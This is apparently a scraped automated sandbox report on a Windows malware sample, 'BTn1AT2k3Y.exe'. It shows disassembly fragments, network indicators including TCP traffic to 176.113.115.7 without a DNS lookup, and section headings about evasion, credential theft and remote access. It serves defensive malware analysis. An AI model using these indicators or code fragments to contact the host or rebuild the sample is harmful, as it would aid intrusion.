Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_008DE174
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000084h]	0_2_008EE2C6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 720EEED4h	0_2_00918240
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+08h]	0_2_00918240
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+6C0B83D6h]	0_2_00918240
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_008DA390
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_008DA390
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_008EA370
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0090836E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+03h]	0_2_008F4430
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0090845D
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00902540
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+2Ch]	0_2_00900650
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-52h]	0_2_00900670
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	0_2_008F2792
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 8D94E5DFh	0_2_00914750
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax]	0_2_00914750
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00910880
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movsx edx, byte ptr [ebx+ecx]	0_2_0091A88E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 743EDB10h	0_2_0091C8C0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp], ebx	0_2_009069C1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov ebp, eax	0_2_008D8B20
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov eax, ecx	0_2_008EEB66
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp word ptr [eax+edx+02h], 0000h	0_2_00914B60
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], eax	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [edx], cx	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4AF8CFA6h]	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 93A82FD1h	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	0_2_008EEEFE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000084h]	0_2_008EEEFE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+62h]	0_2_008E2F82
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	0_2_009190EF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_008F92A0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2B12B9D2h]	0_2_008FF3C0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_008ED315
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_008FD32F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+02h]	0_2_008E1368
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_009074D1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [edx], cx	0_2_008EB55A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4AF8CFA6h]	0_2_008EB55A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_008EB55A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 93A82FD1h	0_2_008EB55A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	0_2_0091B680
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	0_2_0091B790
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then jmp eax	0_2_008DF769
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx-443B8DA2h]	0_2_008ED99F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_008ED99F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	0_2_0091B9B0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	0_2_0091B900
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008F9910
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov edx, edi	0_2_008F3A80
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-79B0712Ah]	0_2_008FDAA2
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, word ptr [eax]	0_2_008FDAA2
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	0_2_008FDAA2
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	0_2_0091BA40
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+12EB444Ah]	0_2_008DFB20
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+5Dh]	0_2_008DDC9E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00903EE0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68h]	0_2_008EFF37
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ebp+02h]	0_2_008F9F30
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+03h]	0_2_008F5F40

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BTn1AT2k3Y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
BTn1AT2k3Y.exe